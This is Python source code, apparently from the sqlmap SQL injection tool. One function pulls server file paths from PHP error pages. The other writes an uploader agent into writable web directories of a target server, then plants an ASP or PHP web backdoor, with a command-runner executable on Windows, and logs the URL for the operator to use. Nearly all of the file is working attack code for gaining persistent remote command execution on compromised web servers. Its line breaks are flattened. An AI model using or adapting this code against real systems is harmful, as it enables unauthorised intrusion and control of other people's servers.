def parseResponse(page, headers): """ @param page: the page to parse to feed the knowledge base htmlFp (back-end DBMS fingerprint based upon DBMS error messages return through the web application) list and absFilePaths (absolute file paths) set. """ if headers: headersParser(headers) if page: htmlParser(page) # Detect injectable page absolute system path # NOTE: this regular expression works if the remote web application # is written in PHP and debug/error messages are enabled. absFilePathsRegExp = ( r" in <b>(?P<result>.*?)</b> on line", r"(?:>|\s)(?P<result>[A-Za-z]:[\\/][\w.\\/]*)", r"(?:>|\s)(?P<result>/\w[/\w.]+)" ) for absFilePathRegExp in absFilePathsRegExp: reobj = re.compile(absFilePathRegExp) for match in reobj.finditer(page): absFilePath = match.group("result").strip() page = page.replace(absFilePath, "") if isWindowsPath(absFilePath): absFilePath = posixToNtSlashes(absFilePath) if absFilePath not in kb.absFilePaths: kb.absFilePaths.add(absFilePath)
def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webUploaderUrl is not None and self.webApi is not None: return self.checkDbmsOs() infoMsg = "trying to upload the uploader agent" logger.info(infoMsg) message = "which web application language does the web server " message += "support?\n" message += "[1] ASP%s\n" % (" (default)" if kb.os == "Windows" else "") message += "[2] PHP%s\n" % ("" if kb.os == "Windows" else " (default)") message += "[3] JSP" while True: choice = readInput(message, default="1" if kb.os == "Windows" else "2") if not choice or choice == "2": self.webApi = "php" break elif choice == "1": self.webApi = "asp" break elif choice == "3": errMsg = "JSP web backdoor functionality is not yet " errMsg += "implemented" raise sqlmapUnsupportedDBMSException(errMsg) elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 3: logger.warn("invalid value, it must be 1 or 3") kb.docRoot = getDocRoot(self.webApi) directories = getDirs(self.webApi) directories = list(directories) directories.sort() backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorStream = decloakToNamedTemporaryFile( os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName ) originalBackdoorContent = backdoorContent = backdoorStream.read() uploaderName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) uploaderContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "uploader.%s_" % self.webApi)) for directory in directories: # Upload the uploader agent self.__webFileInject(uploaderContent, uploaderName, directory) requestDir = ntToPosixSlashes(directory).replace(ntToPosixSlashes(kb.docRoot), "/") if isWindowsPath(requestDir): requestDir = requestDir[2:] requestDir = normalizePath(requestDir) self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir) self.webUploaderUrl = "%s/%s" % (self.webBaseUrl.rstrip("/"), uploaderName) self.webUploaderUrl = ntToPosixSlashes(self.webUploaderUrl.replace("./", "/")) uplPage, _ = Request.getPage(url=self.webUploaderUrl, direct=True, raise404=False) if "sqlmap file uploader" not in uplPage: warnMsg = "unable to upload the uploader " warnMsg += "agent on '%s'" % directory logger.warn(warnMsg) continue infoMsg = "the uploader agent has been successfully uploaded " infoMsg += "on '%s' ('%s')" % (directory, self.webUploaderUrl) logger.info(infoMsg) if self.webApi == "asp": runcmdName = "tmpe%s.exe" % randomStr(lowercase=True) runcmdStream = decloakToNamedTemporaryFile( os.path.join(paths.SQLMAP_SHELL_PATH, "runcmd.exe_"), runcmdName ) match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace( "RUNCMD_EXE", runcmdName ) backdoorStream.file.truncate() backdoorStream.read() backdoorStream.seek(0) backdoorStream.write(backdoorContent) if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory): self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl.rstrip("/"), backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.__webFileStreamUpload( backdoorStream, backdoorName, posixToNtSlashes(directory) if kb.os == "Windows" else directory ): warnMsg = "backdoor hasn't been successfully uploaded " warnMsg += "with uploader probably because of permission " warnMsg += "issues." logger.warn(warnMsg) message = "do you want to try the same method used " message += "for uploader? [y/N] " getOutput = readInput(message, default="N") if getOutput in ("y", "Y"): self.__webFileInject(backdoorContent, backdoorName, directory) else: continue self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = directory infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl logger.info(infoMsg) break